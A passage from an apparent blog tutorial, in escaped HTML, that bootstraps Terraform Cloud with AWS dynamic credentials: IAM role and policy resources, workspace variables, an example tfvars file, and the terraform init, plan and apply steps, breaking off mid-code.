#ADBAC7\"\u003e[\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"*\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    effect\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"Allow\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    resources\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e[\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"*\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eresource\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"aws_iam_policy\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"tfc-agent\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  name\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"tfc-agent-access-policy\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  description\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"Access policy for the TFC agent\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  policy\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003edata\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eaws_iam_policy_document\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfc-agent\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003ejson\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eresource\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"aws_iam_role_policy_attachment\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"tfc-access-attach\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  role\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e       \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eaws_iam_role\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfc-agent\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003ename\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  policy_arn\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eaws_iam_policy\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfc-agent\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003earn\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eresource\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"tfe_workspace\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"workspaces\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  count\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003elength\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(var\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfc_workspaces)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  name\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e         \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003evar\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfc_workspaces[count\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eindex]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  organization\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfe_organization\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eorganization\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003ename\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  working_directory\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003evar\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfc_workspaces[count\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eindex]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #768390\"\u003e/* These variables tell the agent to use dynamic credentials */\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eresource\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"tfe_variable\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"tfc-auth\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  count\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003elength\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(var\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfc_workspaces)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  key\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"TFC_AWS_PROVIDER_AUTH\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  value\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003etrue\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  category\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"env\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  workspace_id\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfe_workspace\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eworkspaces[count\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eindex]\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eid\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  description\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"Enable dynamic auth on the TFC agents\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eresource\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"tfe_variable\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"tfc-role\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  count\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003elength\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(var\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfc_workspaces)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  key\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"TFC_AWS_RUN_ROLE_ARN\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  value\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eaws_iam_role\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfc-agent\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003earn\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  category\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"env\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  workspace_id\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfe_workspace\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eworkspaces[count\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eindex]\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eid\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  description\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"Tell TFC what Role to run as\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThis module is dynamic because there is one piece that will require a\nmanual oauth setup for github.  So the first pass will apply without it\nand then later on we'll create it and run the apply again.\u003c/p\u003e\n\u003ch2\u003eApplying the changes\u003c/h2\u003e\n\u003cp\u003eNow we just need to define our settings for the module and we'll get our\ninfrastructure applied.  Create a file called \u003ccode\u003esettings.auto.tfvars\u003c/code\u003e and\npopulate it with the content for your account.  This is an example of what\nthis should look like:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"hcl\" data-theme=\"default\"\u003e\u003ccode data-language=\"hcl\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfc_organization_name\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"sontek\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfc_organization_owner\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"john@sontek.net\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #768390\"\u003e# The workspaces you want to create and be able to manage with IaC\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfc_workspaces\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e[\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"root\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #768390\"\u003e# this can be your username\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003egithub_organization\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"sontek\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003egithub_repo_name\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e       \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"sontek-infra\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003eaws_root_account_id\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"888888888888\"\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eNow run:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eterraform\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003elogin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eterraform\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003einit\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eand you should see:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eTerraform has been successfully initialized!\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eNow lets run our plan:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e❯ terraform plan\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eYou should see a result:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003ePlan: 10 to add, 0 to change, 0 to destroy.\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eApply it to make those resources:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e❯ terraform apply\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eAt this point it:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eCreated a terraform cloud organization\u003c/li\u003e\n\u003cli\u003eCreated a terraform cloud workspace\u003c/li\u003e\n\u003cli\u003eCreated a git repository\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch1\u003eVerify TFC can talk to AWS\u003c/h1\u003e\n\u003cp\u003eTo verify that TFC can communicate with AWS through the dynamic credentials,\nlets clone the \u003cem\u003eNEW\u003c/em\u003e repository we just generated and make some dummy resources. After\nyou've cloned the repository lets make a folder for the workspace \u003ccode\u003eroot\u003c/code\u003e that we\ndefined in bootstrap:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003emkdir\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eroot\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecd\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eroot\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eNow create a \u003ccode\u003e1-providers.tf\u003c/code\u003e:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"hcl\" data-theme=\"default\"\u003e\u003ccode data-language=\"hcl\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eterraform\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ecloud\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    organization\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"sontek\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003eworkspaces\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      name\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"root\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003erequired_providers\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    aws\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e 